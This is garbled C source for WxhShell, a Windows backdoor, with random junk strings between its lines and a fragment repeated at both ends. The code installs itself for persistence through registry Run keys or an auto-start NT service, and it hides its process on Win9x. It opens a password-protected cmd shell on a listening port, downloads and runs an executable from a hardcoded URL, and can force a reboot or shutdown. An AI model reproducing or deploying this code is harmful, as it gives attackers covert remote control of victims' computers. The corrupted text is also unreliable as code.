J PROCESS_BASIC_INFORMATION pbi; 34]%d<;A _]Z$YM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H|'$dO)W if(NULL == hInst ) return 0; i|[S5QXCh fV v$K& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6.vNe g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r6<ArX$Yl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DvU~%%(0^ W|)(|W if (!NtQueryInformationProcess) return 0; s>V*=#L "%Lmgy:~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^r%i3 if(!hProcess) return 0; Z*;*I<- *Y^5M"AB_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M!{Rq1M mrX}\p CloseHandle(hProcess); [29$~.m$Y ^S3A10f, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !/[AQ{**T! if(hProcess==NULL) return 0; .Pqj6Ko9 \y<+Fac1S HMODULE hMod; pq@$&G char procName[255]; UYlJO{|a unsigned long cbNeeded; {=UKTk/t8 @)+i{Niuv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RNsJ!or Q9SPb6O2 CloseHandle(hProcess); ]eORw$f s 0 =@ &/ if(strstr(procName,"services")) return 1; // 以服务启动 Ynv 9v\n| ,[+ZjAyG}# return 0; // 注册表启动 9?v) } ^D0/H
N /o~
@VF: // 主模块 Di]Iy int StartWxhshell(LPSTR lpCmdLine) cC*zj\O { HP1X\h!Ke SOCKET wsl; oo"JMD) BOOL val=TRUE; e=|F(iW int port=0; :6qUSE
struct sockaddr_in door; 'Sm/t/g"| W\z L if(wscfg.ws_autoins) Install(); axt6u)4%7: Au%Wrk3j port=atoi(lpCmdLine); JT}dor !:`Ra if(port<=0) port=wscfg.ws_port; K.c6Rg gqKC 4'G0 WSADATA data; WcQZFtW if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jFK9?cLT ]&; G\9$y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u^;sx/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %6vMpB`g door.sin_family = AF_INET; EC:x,i door.sin_addr.s_addr = inet_addr("127.0.0.1"); sP=2NqU3Q door.sin_port = htons(port); BUboP?#%) KG7X8AaK# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 70I4-[/z[d closesocket(wsl); A_8`YN"Xk return 1; `RL(N4H } `-E.n'+ f^>lObvd if(listen(wsl,2) == INVALID_SOCKET) { UwzE'#Q- closesocket(wsl); X_EC:GU return 1; =!Baz} } gs)%.k[BqG Wxhshell(wsl); GHJQ d&G8G WSACleanup(); :ok!,QN fNmG`Ke return 0; %K/G+ bE%mgaOh } C=pPI ^.B `Z{Jb // 以NT服务方式启动 ()rx>?x5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QvT-&| { *U5>j#, DWORD status = 0; p3'mJ3MA DWORD specificError = 0xfffffff; &'oacV= 5Rt0h$_J serviceStatus.dwServiceType = SERVICE_WIN32; 1f bFNxo8M serviceStatus.dwCurrentState = SERVICE_START_PENDING; Bwi[qw serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (urfaZ;@+ serviceStatus.dwWin32ExitCode = 0; Vtc)/OH serviceStatus.dwServiceSpecificExitCode = 0; t8wz'[z serviceStatus.dwCheckPoint = 0; LU 5
`!0m serviceStatus.dwWaitHint = 0; hBs>2u|z9 K.sj"#D hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?geWR_Z if (hServiceStatusHandle==0) return; {?kKpMNNn :@z5& h status = GetLastError(); y("0Xve if (status!=NO_ERROR) n?KS]ar> { _tR.RAaa" serviceStatus.dwCurrentState = SERVICE_STOPPED; 4jZi62 serviceStatus.dwCheckPoint = 0; \!4ghev3 serviceStatus.dwWaitHint = 0; ?yd(er<_f serviceStatus.dwWin32ExitCode = status; Ozh^Q$>u serviceStatus.dwServiceSpecificExitCode = specificError; |rms[1<_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); #uDBF return; D ;T r } FZ'>LZ PY3Vu]zD serviceStatus.dwCurrentState = SERVICE_RUNNING; \c@qtIc serviceStatus.dwCheckPoint = 0; cq+M
*1; serviceStatus.dwWaitHint = 0; |SXMu_w if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [laL6 } WRU@i;l 9"u@<] // 处理NT服务事件,比如:启动、停止 C`K9WJOD VOID WINAPI NTServiceHandler(DWORD fdwControl) qjRiTIp9q { :Y)kKq d switch(fdwControl) r~BQy' { a[{QlD^D case SERVICE_CONTROL_STOP: ?p/kuv{\o# serviceStatus.dwWin32ExitCode = 0; }'M1(W
serviceStatus.dwCurrentState = SERVICE_STOPPED; Vp0GmZ serviceStatus.dwCheckPoint = 0; S.)8& serviceStatus.dwWaitHint = 0; -QNMB4 { :e9jK[)h0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); '<E8<bi } Xrzh*sp return; <)*g7 case SERVICE_CONTROL_PAUSE: Q`wA"mw6k serviceStatus.dwCurrentState = SERVICE_PAUSED; C?c -V, break; p?gLW/n case SERVICE_CONTROL_CONTINUE: cB"F1~z serviceStatus.dwCurrentState = SERVICE_RUNNING; HjY-b*B break; 7g<`wLAH case SERVICE_CONTROL_INTERROGATE: {XUfxNDf break; J?=Ob?+
_ }; 0b QiUcg/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 06W=(fY } K]]rOF 9+;f1nV // 标准应用程序主函数 ^OcfM_4pN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `"-!UkD+ { {&j{V-}f igbb=@QBJ // 获取操作系统版本 p<nBS"/ OsIsNt=GetOsVer(); %'~<:>:"E GetModuleFileName(NULL,ExeFile,MAX_PATH); ~v,KI["o Z
5YW L4s // 从命令行安装 8`*9jr if(strpbrk(lpCmdLine,"iI")) Install(); %D6Wlf+^n ~q%9zO' // 下载执行文件 #RIfR7`T if(wscfg.ws_downexe) { =$z$VbBv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s&_O2(l WinExec(wscfg.ws_filenam,SW_HIDE); 7JwWM2N?V } S2GBX1 ?g*T3S" if(!OsIsNt) { HyYQQ // 如果时win9x,隐藏进程并且设置为注册表启动 4uVmhjT:X HideProc(); jW0z|jr StartWxhshell(lpCmdLine); bOGDz|H`` } Ch!Q? 4 else |+=:x]#vV if(StartFromService()) 3jdB8a]T_ // 以服务方式启动 :/[ZgreN6 StartServiceCtrlDispatcher(DispatchTable); J?ZVzKTb>} else Pds*M?&F // 普通方式启动 4qXUk:C@m
StartWxhshell(lpCmdLine); 8ch~UBq/ 9: |K]y return 0; $YQ&\[pDA } O]LuL&=s y ZV^J5wYE Fmle| 78BuD[<X- =========================================== HNyDWD)_ >2{HH\ iiDk k E4@fP]R+ !eoec2h#5 v#2qwd3x " q9(}wvtr ;=
@-j@? #include <stdio.h> d<m>H$\Dm #include <string.h> tU2;Wb!Y #include <windows.h> y#0Z[[I0 #include <winsock2.h> ~u&O #include <winsvc.h> m9 5$V& #include <urlmon.h> Q&'Nr3H#tZ !!#ale& #pragma comment (lib, "Ws2_32.lib") q5?mP6 #pragma comment (lib, "urlmon.lib") rBPxGBd4 #]HjP\C #define MAX_USER 100 // 最大客户端连接数 eQIi}\` #define BUF_SOCK 200 // sock buffer :DpK{$eCb #define KEY_BUFF 255 // 输入 buffer qNVw+U;2P /;$ew~} #define REBOOT 0 // 重启 )Bvu[rUy #define SHUTDOWN 1 // 关机 >A "aOV>K LVtQ^ 5>8 #define DEF_PORT 5000 // 监听端口 o%4+I> ul&7hHp_u% #define REG_LEN 16 // 注册表键长度 htSk2N/ #define SVC_LEN 80 // NT服务名长度 #_|^C(]! k<hO9;#qpL // 从dll定义API I~6 ;9TlQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d>-EtWd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SO<K#HfE$? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L6#d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G7JZP T L%s""nP // wxhshell配置信息 3A1kH` X^q struct WSCFG { Mxp4 YQl int ws_port; // 监听端口 ] CE2/6Ph char ws_passstr[REG_LEN]; // 口令 mW9b~G3k int ws_autoins; // 安装标记, 1=yes 0=no
6)j4
TH char ws_regname[REG_LEN]; // 注册表键名 ^Wz{su2 char ws_svcname[REG_LEN]; // 服务名 0].5[Jo char ws_svcdisp[SVC_LEN]; // 服务显示名 'Em($A( char ws_svcdesc[SVC_LEN]; // 服务描述信息 Di=6.gm[< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O]!DNN int ws_downexe; // 下载执行标记, 1=yes 0=no DcDGrRuh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gukq}ZQ d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %LW~oI. '(>N
gd[ }; ?`}U|]c t\0JNi$2 // default Wxhshell configuration 9:~^KQ{? struct WSCFG wscfg={DEF_PORT, jzp%.4/j "xuhuanlingzhe", hlEvL 1, 5Ozj&Zq "Wxhshell", 'z5 ;o:T "Wxhshell", 2*FZ@?X@r "WxhShell Service", 3=I Q "Wrsky Windows CmdShell Service", C@W0fz "Please Input Your Password: ", 5toNEDN 1, 46`{mPd{aO "http://www.wrsky.com/wxhshell.exe", a]ey..m "Wxhshell.exe" IrM3Uh }; kS!*kk*a `-2`UGB- // 消息定义模块 zg"ZXZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5%/%i}e~( char *msg_ws_prompt="\n\r? for help\n\r#>"; 2ARh-zLb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3Mt6iZW char *msg_ws_ext="\n\rExit."; 4B(qVf&M char *msg_ws_end="\n\rQuit."; BpE[9N char *msg_ws_boot="\n\rReboot..."; q[g^[~WM# char *msg_ws_poff="\n\rShutdown..."; Iqv
5lo
. char *msg_ws_down="\n\rSave to "; A;PV,2|X _JoA=<O! char *msg_ws_err="\n\rErr!"; Yuck]?#0 char *msg_ws_ok="\n\rOK!"; 7T78S&g A":x<9 char ExeFile[MAX_PATH]; `R;XN- int nUser = 0; ;[ojwcK[ZF HANDLE handles[MAX_USER]; d1TG[i<J_ int OsIsNt; (Zkt2[E` ?y
kIi/ SERVICE_STATUS serviceStatus; }wKU=Vm SERVICE_STATUS_HANDLE hServiceStatusHandle; g5`YUr+3?h :l{-UkbB // 函数声明 W=+ag<@ int Install(void); SM?<woY=* int Uninstall(void); d7Z\ int DownloadFile(char *sURL, SOCKET wsh); %/p5C int Boot(int flag); 1+zax*gO- void HideProc(void); wvY$s; int GetOsVer(void); T8 k o P int Wxhshell(SOCKET wsl); nMqU6X>P! void TalkWithClient(void *cs); NU"X*g-x^ int CmdShell(SOCKET sock); Zs)9OJu int StartFromService(void); +q!6zGs. int StartWxhshell(LPSTR lpCmdLine); *2Kte'+q oizoKwp% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dc5XU3Eu` VOID WINAPI NTServiceHandler( DWORD fdwControl ); aQuENsB gUlZcb // 数据结构和表定义 E.brQx#} SERVICE_TABLE_ENTRY DispatchTable[] = 0jq#,p=l; { Hr'#0fW {wscfg.ws_svcname, NTServiceMain}, F u)7J4Z {NULL, NULL} ) Lv{ }; iFnM6O$( hw1s^:|+2 // 自我安装 bK7DGw`1 int Install(void) 8cl!8gfv { }z6HxB]$ char svExeFile[MAX_PATH]; Y|bGd_j HKEY key; L[efiiLh$ strcpy(svExeFile,ExeFile); p*G_$"KpP z> SCv;Q // 如果是win9x系统,修改注册表设为自启动 =Vfj#WL if(!OsIsNt) { )U?W+0[= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ i,my31 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &x}JC/u]fd RegCloseKey(key); TzjZGs W[V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <@P0sd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uM$=v]e^4 RegCloseKey(key); H1X3 8 return 0; _ #]uk&5a } Q SPneYD } A.tONPi } j]th6 else { |6/k2d{,( ;1PnbU b // 如果是NT以上系统,安装为系统服务 _V\rs{
5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #T:#!MKa if (schSCManager!=0) Y^DS~CrM { d#E]>:w9 SC_HANDLE schService = CreateService o}H7;v8H ( )jkX&7x schSCManager, 8sb<$M$c wscfg.ws_svcname, Wm>[5h%> wscfg.ws_svcdisp, \|9@*]6: SERVICE_ALL_ACCESS, :ad SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W FVx7 SERVICE_AUTO_START, ;mH O# SERVICE_ERROR_NORMAL, <>JN3? svExeFile, NFq&a i NULL, *6D0>F NULL, _aa3;kT_ NULL, 1|$V NULL, 5u
+U^D NULL 'q%56WAJ ); s%F}4W2s if (schService!=0) ArWMbT>Zqw { 6[fp e CloseServiceHandle(schService); Ay\=&4dv CloseServiceHandle(schSCManager); eX7dyM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~/Gx~P] strcat(svExeFile,wscfg.ws_svcname); /Y$UJt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eF+:w:\h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g-`HKoKe RegCloseKey(key); lnuf_;0 return 0; bH4'j/3 } hu}`,2 } 9qc<m'MZ CloseServiceHandle(schSCManager); G"w
?{W@ } _GEt:=DAP# } I3 /^{-n ?/ xk return 1; gzfs9e } k"_i7 :lj1[q:Y> // 自我卸载 Y_m/? [: int Uninstall(void) A&EVzmj-+X { a@(4X/| HKEY key; z}I =: $:IOoS|e if(!OsIsNt) { ~ [L4,q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _BGw)Z 6 RegDeleteValue(key,wscfg.ws_regname); `x=W)o
} RegCloseKey(key); zbQ-l1E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h^_Sd"l3 RegDeleteValue(key,wscfg.ws_regname); ~2
L{m[s| RegCloseKey(key); 533n
z8&9@ return 0; E"d\N-I } _<tWy+. } :|cC7,S } X(sHFVU+ else { Hy4c{Ij
g/Q"%GN, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5(BB`) if (schSCManager!=0) q@K8,=/.# { !RX\">z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h'*>\eC6 if (schService!=0) 7ux0|l { {OFbU if(DeleteService(schService)!=0) { /^_~NF# CloseServiceHandle(schService); &5JTcMC^ CloseServiceHandle(schSCManager); [O)(0 return 0; g\9I&z~? } _dQVundH CloseServiceHandle(schService); q\+khy,k } OZ{YQ}t{^1 CloseServiceHandle(schSCManager); S$9>9!1>* } SN
w3xO!;& } BET3tiHV <}e2\x return 1; fTQ_miAlP } Td!@i[6%H kb"g // 从指定url下载文件 b{T". @b int DownloadFile(char *sURL, SOCKET wsh) b4TZnO { ODS8bD0!i HRESULT hr; dnRS$$9# char seps[]= "/"; J<K-Yeph char *token; <{$0mUn;s| char *file; 7G,{BBB char myURL[MAX_PATH]; 1Z9_sd~/6 char myFILE[MAX_PATH]; \#1*r'V8 ]/byz_7] strcpy(myURL,sURL); >`\f,yql6 token=strtok(myURL,seps); ahezDDR-.i while(token!=NULL) e,j2#wjor { 5R^e file=token; )ro3yq4?? token=strtok(NULL,seps); |Z\?nZ~ } y"N7r1Pf >%qk2h> GetCurrentDirectory(MAX_PATH,myFILE); -P I$SA, strcat(myFILE, "\\"); ]IX6>p, strcat(myFILE, file); kR+xInDM* send(wsh,myFILE,strlen(myFILE),0); CKC%|xke send(wsh,"...",3,0); ii0{$}eoh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :X1~ if(hr==S_OK) +{b!,D3sa* return 0; )8BGN'jyi else m}t.E return 1; _8*}S= 4k}3^.# } )-2sk@y 9\2<#,R1q // 系统电源模块 ZkbaUIQ int Boot(int flag) Gk"o/]Sf { K7G|cZ/^ HANDLE hToken; >F@qFPN] TOKEN_PRIVILEGES tkp; 3Z,J&d`[ +TA'P$j if(OsIsNt) { \BIa:}9O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +w'"N LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !_zp'V]? tkp.PrivilegeCount = 1; U)v['5% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WCa>~dF> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /g|H?F0 if(flag==REBOOT) {
$f++n5I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j=raS return 0; o+9b%I^1V }
%[1\d) else { 608}-J=3# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c~_nOd return 0; RQaB_bg7 } pKSn
3-A } to}g4 else { Dt1v`T~=? if(flag==REBOOT) { nC-=CMWWr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G9`;Z^<L return 0; zWN/>~}U\ } $P=B66t
^ else { +
F{hFuHV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D'{NEk@ return 0; 18(hrj } s^atBqw, } <>gX'te TH;kJ{[} return 1; ny(`An } ;$`5L"I5$ '7lHWqN< // win9x进程隐藏模块 QNH-b9u>8 void HideProc(void) nRP|Qt7> { l|,
Hj NNKI+!vg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AXnuXa(j if ( hKernel != NULL ) wiwAdYEQ\ { 2sezZeMV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tHhau.! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); we4k VAn FreeLibrary(hKernel); pUGFQ."\ } W6e,S[J^FY i~};5j( return; ]lX`[HX7 } )[t zAaP7 (-<s[VnXP // 获取操作系统版本 Y/%(4q*' int GetOsVer(void) GnX+.uQL| { jTR>H bh OSVERSIONINFO winfo; 3MmpB9l#H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (D.B'V#> GetVersionEx(&winfo); :,@"I$>*/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Q9 Mn-&qQ return 1; )bd)noZi else QR ?JN\%? return 0; -Kas9\VWEw } :4Gc'bR qjcPJ // 客户端句柄模块 @r.w+E= int Wxhshell(SOCKET wsl) &oz^dlw { Az+k8=? SOCKET wsh; [~aRA'qJ{V struct sockaddr_in client; Q)/V>QW DWORD myID; b7^Db6qu $dxk;V while(nUser<MAX_USER) >/]`
f8^ { Io(*_3V)B int nSize=sizeof(client); 2`|gnVw wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H%nA"- if(wsh==INVALID_SOCKET) return 1; D]?eRO9' EJCf[#Sf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kl'u if(handles[nUser]==0) 65HP9`5Tm closesocket(wsh); Z!/!4(Fh else Q!91uNL nUser++; 7R4t%^F } <:n!qQS6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]+"25V'L 3}7`?$5 return 0; 2l4*6rYa( } (&B`vgmb zu,F 0;De // 关闭 socket <M
y+!3\A void CloseIt(SOCKET wsh) 3)6TnY/u6{ { u~C,x3yr closesocket(wsh); xg;o<y KF nUser--; F3?PlH:Y ExitThread(0); kS7`g A } QX`T-)T e nxjP4d> // 客户端请求句柄 TQ,KPf$0U void TalkWithClient(void *cs) S"@/F-
81 { @^2?97i
c .c5)` SOCKET wsh=(SOCKET)cs; u_Wftb?9 char pwd[SVC_LEN]; > u!#
4 char cmd[KEY_BUFF]; U.GRN)fL4 char chr[1]; 0Ym_l?]m[ int i,j; G%HuB5:u ^H(,^cVN while (nUser < MAX_USER) { ^vY[d]R _\ +%~/~1 if(wscfg.ws_passstr) { q:/3uC7
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^[6S]Ft( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m ]h<y //ZeroMemory(pwd,KEY_BUFF); 6IPQ}/l i=0; (a9>gLI0 while(i<SVC_LEN) { A<U9$"j9J 4Zn" K}q // 设置超时 Mb^E fd_set FdRead; ,J4rKGG struct timeval TimeOut; W\pO`FL FD_ZERO(&FdRead); m<e_Z~ ^G FD_SET(wsh,&FdRead); ~PtIq.BY TimeOut.tv_sec=8; CX}==0od TimeOut.tv_usec=0; $<s;YhM:u) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JQ%D6b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7C>5XyyJ L)z` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1EemVZdY pwd=chr[0]; +B&,$ceyaJ if(chr[0]==0xd || chr[0]==0xa) { 6ec#3~ Y] pwd=0; >]}c,4D( break; 1PUeU+ } y,xJ5BI$ i++; v;o/M6GL5 } T^DJ/uhd d=DQS>Nz // 如果是非法用户,关闭 socket u Wxl\+_i if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i}gsxq% } eUVhNg UbEK2&q/8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -(lCM/h send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l3:2f-H UJiy]y while(1) { <<Q}|$Wu 60#eTo?}o ZeroMemory(cmd,KEY_BUFF); U}R( D$U`u[qjtS // 自动支持客户端 telnet标准 +A-z>T( j=0; &e\UlM22 while(j<KEY_BUFF) { I&9Itn p$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); phi9/tO\u cmd[j]=chr[0]; Q;?rqi
, if(chr[0]==0xa || chr[0]==0xd) { <lgX=wx L cmd[j]=0; 0^83:C
^{ break; \P;2s<6i\ } }0}=-g& j++; LaX<2]Tx: } /@?lV!QiO [.'9Sw // 下载文件 J3XrlSc if(strstr(cmd,"http://")) { Tn"^`\m send(wsh,msg_ws_down,strlen(msg_ws_down),0); uE,g|51H/ if(DownloadFile(cmd,wsh)) tF:AqR:(~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_P2\B^ else 0=k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<;VD0XX } 7d^ ~.F else { u K=)65] s8
5l switch(cmd[0]) { lx<!*2
-^ Om(Ir&0 // 帮助 Ez
/
W$U case '?': { w/e?K4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x
c|1?AFj break; `>&K=C? } 8osP$"/o // 安装 vP%}XEF case 'i': { <-DQ(0xg if(Install()) 9p, PW A send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@Wd Pjxj else o8X? 1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&-$Zog break; LSrKi$ } { u3giB // 卸载 eig{~3 case 'r': { g?N^9B,$2 if(Uninstall()) Xc$Zkfmms send(wsh,msg_ws_err,strlen(msg_ws_err),0); e F)my else b(\Mi_J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !j/54, break; -TS5g1 } ,AH2/^:%c // 显示 wxhshell 所在路径 q[(1zG%NbA case 'p': { 05Q4$P char svExeFile[MAX_PATH];
biPj(Dd strcpy(svExeFile,"\n\r"); +DaKP)H\: strcat(svExeFile,ExeFile); ^<3{0g-"AW send(wsh,svExeFile,strlen(svExeFile),0); 7c!#e=W@B break; owx0J,,G } mFmxEv // 重启 tL M@o|: case 'b': { gwbV$[.X send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z*'<9l_1 if(Boot(REBOOT)) 2U3e!V send(wsh,msg_ws_err,strlen(msg_ws_err),0); eV"s5X[$ else { 85USMPF closesocket(wsh); |rI;OvZ\ ExitThread(0); .,f]'!5 } Z7I\\M break; yL %88,/ } <cxe // 关机 <cO
`jK case 'd': { cRE6/qrXGg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %2\6.c=c if(Boot(SHUTDOWN)) b94+GLU8b send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-"vQ>ux+ else { = |E8z
u% closesocket(wsh); \,#;gS" ExitThread(0); Qq%~e41ec } 0mNL!" break; N' CWSf.e } ' e %>Ip // 获取shell ~x^Ra8A case 's': { 9&{z?* CmdShell(wsh); Vha,rIi closesocket(wsh); )q`.tsR> ExitThread(0); "wCx]{Di break; *'*n}fM } ~14|y|\/ // 退出 <"8F=3:uk case 'x': { 4"UH~A;^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2f1Q&S CloseIt(wsh); r4d#;S9{o break; {|'NpV } ;ik,6_/Y // 离开 2B^WZlx case 'q': { 0oZZLi send(wsh,msg_ws_end,strlen(msg_ws_end),0); z4(`>z2a closesocket(wsh); 2O- 4x WSACleanup(); 9I*2xy|I exit(1); Ta$55K0 break; uw/N`u } 4C )sjk?m } 3Kc9*]D } ?vFtv}@\ eaDR-g" // 提示信息 <{h\Msx% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eJ6 #x$I, } >f4[OBc } i(;.Y 6uTC2ka[&R return; %`~+^{Wp } x4h.WDT$ `q`ah_ // shell模块句柄 zG{jRth int CmdShell(SOCKET sock) i'.D=o { XMz*}B6GQ STARTUPINFO si; ?XeaoD/ ZeroMemory(&si,sizeof(si)); !pC`vZG" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j#u{(W'r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YkE_7r(1 PROCESS_INFORMATION ProcessInfo; #^yOW^ char cmdline[]="cmd"; 4|\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x$t2Y<_ return 0; *3]2vq } Kzz/] l-Ha*>gX[j // 自身启动模式 UFLx'VXd int StartFromService(void) `PUxR8y { s}-j.jzB{ typedef struct ,N;2"$+E { dkY JO! DWORD ExitStatus; j5og}Pq: DWORD PebBaseAddress; JH u>\{ 8V DWORD AffinityMask; _s<s14+od DWORD BasePriority; a47e ULONG UniqueProcessId; n 83Dt*O ULONG InheritedFromUniqueProcessId; lr[T+nQ } PROCESS_BASIC_INFORMATION; a5aHv/W#P 3t9CN
)* PROCNTQSIP NtQueryInformationProcess; cucmn*o? V7`vLs- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sAPQbTSM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RNQq"c\ :I2, HANDLE hProcess; F=a PROCESS_BASIC_INFORMATION pbi; O jNOvh&N ~d3@x\I? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eo@8?>}{X if(NULL == hInst ) return 0; >ts}\.(] bg/=P>2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P{BW^kAdH g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D?UURUR f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x^ `IZ{! !* KQ2#e if (!NtQueryInformationProcess) return 0; CU*TY1% gz~ug35 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jt#HbAY if(!hProcess) return 0; +0j{$MPZ P;K LN9/4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wt;`_}g iz)r.TJ CloseHandle(hProcess); ]N;nq .'$8Hj;@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .t8hTlV?<B if(hProcess==NULL) return 0; 